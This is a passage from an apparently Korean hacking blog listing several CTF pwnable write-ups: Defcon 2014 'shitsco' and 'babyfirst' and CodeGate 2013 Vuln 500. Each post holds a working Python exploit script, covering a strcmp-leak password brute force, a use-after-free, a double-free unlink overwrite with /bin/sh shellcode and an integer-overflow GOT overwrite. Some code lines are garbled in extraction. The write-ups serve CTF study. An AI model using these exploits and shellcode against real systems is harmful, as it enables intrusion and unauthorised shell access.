Hacking: 15개의 글

[Defcon 2014] shitsco - use-after-free or memory leak

Posted by push0ebp
2015. 5. 15. 03:03 Hacking/Pwnable

풀이 방법이 2가지가 존재한다. 하나는 릭을 이용한 방법, 다른 하나는 uaf를 이용한 방법이다.


1. leak을 이용한 방법
enable에서 입력받은 패스워드 버퍼가 초기화되지않아 이상한 값들이 보인다. 무언가 수상하다.
 
sub_8048C30(0, &s2, 0x20, 10);  //문자열 입력 함수
저 함수에서 문자열을 입력받고 나서 NULL을 넣어주지 않아 leak이 발생한다.

그런데 밑에 패스워드 체크 부분에서 수상한 점이있었다.
 v4 = strcmp(password, v1);
  if ( v4 )
if(strcmp(..))으로 해도 되는데 굳이 지역 변수에 담아 체크한다.

그런데 위에 보면
char s2; // [sp+18h] [bp-34h]@2
int v4; // [sp+38h] [bp-14h]@3
입력받은 문자열에 strcmp리턴값이 붙어있다. 크기도 0x20으로 딱 맞다.
이제 리턴 값을 이용하여 패스워드를 알아내면 끝.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python
from socket import *
import time
import struct
 
= lambda x: struct.pack("<L", x)
def up(x):
    return struct.unpack("<L", x+'\x00'*(4-len(x)))[0]
 
cnt = 0 
log = 0
 
def u(str): 
    global sk
    data = ''
    while str not in data:
        data += sk.recv(1)
    if log != 0:
        print data
    return data
 
def r():
    #time.sleep(0.1)
    global sk
    data = sk.recv(4096)
    if log != 0:
        print data
    return data
 
def pu(str):
    global cnt
    data = u(str)
    print data
    print 'cnt',cnt
    cnt += 1
    return data
 
def pr():
    global cnt
    s = r()
    print s
    print 'cnt',cnt
    cnt += 1
    return s
 
stream=''
def s(str): 
    #time.sleep(0.1)
    if str.find("\x00"!= -1:
        print "NULL"
    if log != 0:
        print str
    global stream
    stream += str
    global sk
    return sk.send(str)
 
IP = '1.1.1.5'
PORT = 1234
 
sk = socket(21)
sk.connect((IP, PORT))
 
def enable(pwd):
    s('enable\n')
    r()
    s(pwd+'\n')
    return r()
 
r()
password = '\xCC'*0x1f
for i in range(0x1f):
    for j in range(0x600x80):
        payload = password[:i]+chr(j)+password[i+1:]
        leak = enable(payload)
        ret = leak[leak.rfind('\xCC')+2:leak.rfind('\n')]
        ret = up(ret)
        if ret >> 8 == 0xffffff
            password = payload
            print password[:password.find('\xCC')]
            break
print password
 
 
cs



2. use-after-free


노드 흐름
*set 3 node
node    1    2    3
prev    0    1    2
next    1    3    0
0<1><2><3


*delete 1
node    1    2    3   
prev          0    2
next          3    0
0  <2><3

*delete 2
node    1    2    3   
prev                0
next                0
0     <3

*set 1
node    1    2    3   
prev    0    A...    0
next    0    B...    0


*uaf
일반적인 할당 흐름
free(i->value);
free(i->name);
free(i);

newvar = calloc(1u, 16u);
list.name = __strdup(name);
list_value = __strdup(value);

#할당 크기
alloc은 할당 크기에 따라 위치가 달라진다.
uaf시 같은 주소를 참조하기 위해서 할당 크기를 동일하게 해주어야한다.

calloc(1, 16) 노드 구조체 크기 16로 할당.
strdup은 문자열 클론을 만들어 주는함수인데 내부에서 malloc(문자열크기+1)을 호출한다.
16-1=15 크기로 할당하면 된다.

free(node[2]->value)
free(node[2]->name)
free(node[2])

//첫번째 노드는 calloc을 하지않음 -> free한 노드에 uaf 가능
node[1]->name = strdup('A'*16)
node[1]->value = strdup('B'*16)

*마지막으로 free한 곳이 2번째 노드이므로 strdup을 이용하여 2번째 노드 구조체에 원하는 값을 Write할수있다.
-> 노드의 next 주소를 password 주소로 조작해주면 show할때 password를 알아 낼수 있다.

SIGSEGV
EDI: 0x42424242 ('BBBB')
=> 0xf7e57fef <vfprintf+18767>:    repnz scas al,BYTE PTR es:[edi]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python
from socket import *
import struct
 
= lambda x: struct.pack("<L", x)
def up(x):
    return struct.unpack("<L", x+'\x00'*(4-len(x)))[0]
 
cnt = 0 
log = 0
 
def u(str): 
    global sk
    data = ''
    while str not in data:
        data += sk.recv(1)
    if log != 0:
        print data
    return data
 
def r():
    global sk
    data = sk.recv(4096)
    if log != 0:
        print data
    return data
 
def pu(str):
    global cnt
    data = u(str)
    print data
    print 'cnt',cnt
    cnt += 1
    return data
 
def pr():
    global cnt
    s = r()
    print s
    print 'cnt',cnt
    cnt += 1
    return s
 
stream=''
def s(str): 
    if str.find("\x00"!= -1:
        print "NULL"
    if log != 0:
        print str
    global stream
    stream += str
    global sk
    return sk.send(str)
 
IP = '1.1.1.5'
PORT = 1234
 
sk = socket(21)
sk.connect((IP, PORT))
 
r()
 
def set(name, value):
    s('set '+name+' '+value+'\n')
    r()
 
def delete(name):
    s('set '+name+'\n')
    r()
 
def show():
    s('show\n')
    return r()
 
set('A'*16,'A'*16)
set('B'*16,'B'*16)
set('C'*16,'C'*16)
delete('A'*16)
delete('B'*16)
 
password = p(0x804C3A0)
set(password*4,password*4)
print show()
 
= open('i','w')
f.write(stream[:-1])
f.close()
cs



shitsco_c8b1aa31679e945ee64bde1bdb19d035.idb


지적 부탁드립니다.

[Defcon 2014] babyfirst - double free bug

Posted by push0ebp
2015. 5. 12. 01:44 Hacking/Pwnable


Double Free Buf(DFB) 의 궁극적인 목적은 자신이 원하는 곳에 메모리를 라이팅 하는것(?) (처음 접해봤는데 매우 재미있는 기법이다ㅋ)

heap overflow 를 이용하여 이웃 chunk를 조작 (fake_chunk : PREV_INUSE, fd, bk)

-PREV_INUSE bit를 1로 만들어 기존 chunk 병합을 단절시키고 다음 free 시 fd bk 라이팅을 유도


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/python
from socket import *
import time
from struct import *
from hexdump import *
 
= lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]
cnt = 0 
log = 0

def u(str): 
    global sk
    data = ''
    while str not in data:
        data += sk.recv(1)
    if log != 0:
        print data
    return data
 
def r():
    time.sleep(0.1)
    global sk
    data = sk.recv(4096)
    if log != 0:
        print data
    return data
 
def pu(str):
    global cnt
    data = u(str)
    print data
    print 'cnt',cnt
    cnt += 1
    return data
 
def pr():
    global cnt
    s = r()
    print s
    print 'cnt',cnt
    cnt += 1
    return s
 
stream=''
def s(str): 
    #time.sleep(0.1)
    if str.find("\x00"!= -1:
        print "NULL"
    if log != 0:
        print str
    global stream
    stream += str
    global sk
    return sk.send(str)
 
IP = '1.1.1.5'
PORT = 1234
 
sk = socket(21)
sk.connect((IP, PORT))
 
heap = u('Write to object [size=260]:\n')
heap = heap.split('loc=')[11]
heap = heap[:heap.find(']')]
heap = int(heap,16)
 
shellcode = "\xeb\x20"+"\x90"*100+"\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\x99\xB0\x0B\xCD\x80\xC2"
buf = 'A'*(260-len(shellcode))
exit_func = 0x804C8AC
 
 
payload = ''
payload += shellcode #data 260
payload += buf #data 260-shellcode len
payload += p(1)#chunk2 size
payload += p(exit_func-8#fd
payload += p(heap) #bk
s(payload+'\n')
r()
r()
while 1:
    s(raw_input('$')+'\n')
    pr()
cs


틀린부분 지적해주시면 감사하겠습니다.

[CodeGate 2013] Vuln 500 - integer overflow, heap realloc

Posted by push0ebp
2015. 5. 12. 01:41 Hacking/Pwnable

코게 공부하면서 포너블 시작했는데 너무 재밌다ㅋ 그래서인지 많이 미숙하다ㅜㅠ


integer overflow를 통하여 노래가 삭제한 후 포인터를 밀어 free한 포인터를 채워주는 루틴을 우회함.

-> 리스트에서 free된 노래 포인터가 삭제되지않음

modify를 통하여 다시 할당하여 라이팅

-> free된 곳에 재할당하여 임의로 메모리 라이팅 가능. (system_got)

0x0804b3f0 이 system 인자로 들어감

->심볼릭 링크를 이용하여 해결


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
import sys
import struct
from hexdump import *
 
= lambda x: struct.pack("<L", x)
up = lambda x: struct.unpack("<L", x)[0]
 
= ''
 
def delete_num(num):
    global s
    s += '4\n'
    s += '1\n'
    s += str(num)+'\n' 
 
def modify_num(num, url, title):
    global s
    s += '3\n'
    s += '1\n'
    s += str(num)+'\n'
    s += title+'\n'
    s += url+'\n'
 
system_got = 0x804B3F8  
delete_num(str(-1<<31))
modify_num(1, p(system_got-8),'')
modify_num(0,'','')
sys.stdout.write(s[:-1])
 
 
'''
0 song 
0x804c018
ln -sf /bin/sh `python -c 'print "\xf0\xb3\x04\x08"'`
export PATH="/home/a":$PATH
'''
cs



kpop_music.idb


'Hacking > Pwnable' 카테고리의 다른 글

[Defcon 2014] shitsco - use-after-free or memory leak  (0) 2015.05.15
[Defcon 2014] babyfirst - double free bug  (0) 2015.05.12

[CodeGate 2013] End Of World - The Final Bin 500 풀이

Posted by push0ebp
2015. 1. 27. 01:40 Hacking/CTF

풀다가 하도 막히길래 ezbeat님이 풀이 업로드해주신다는데 새 글이 안올라오네요 ㅠ 그래서 그냥 풀어서 풀이 올려봅니다.

독자분들 배려해서 문제, 힌트, 풀이, 키는 나누었으며 각각 섹션은 가렸습니다.

Prob

Hint

Solve

Key


YISF 2014 순천향대 정보보호 페스티벌 예선 Write up

Posted by push0ebp
2014. 8. 31. 23:22 Hacking/CTF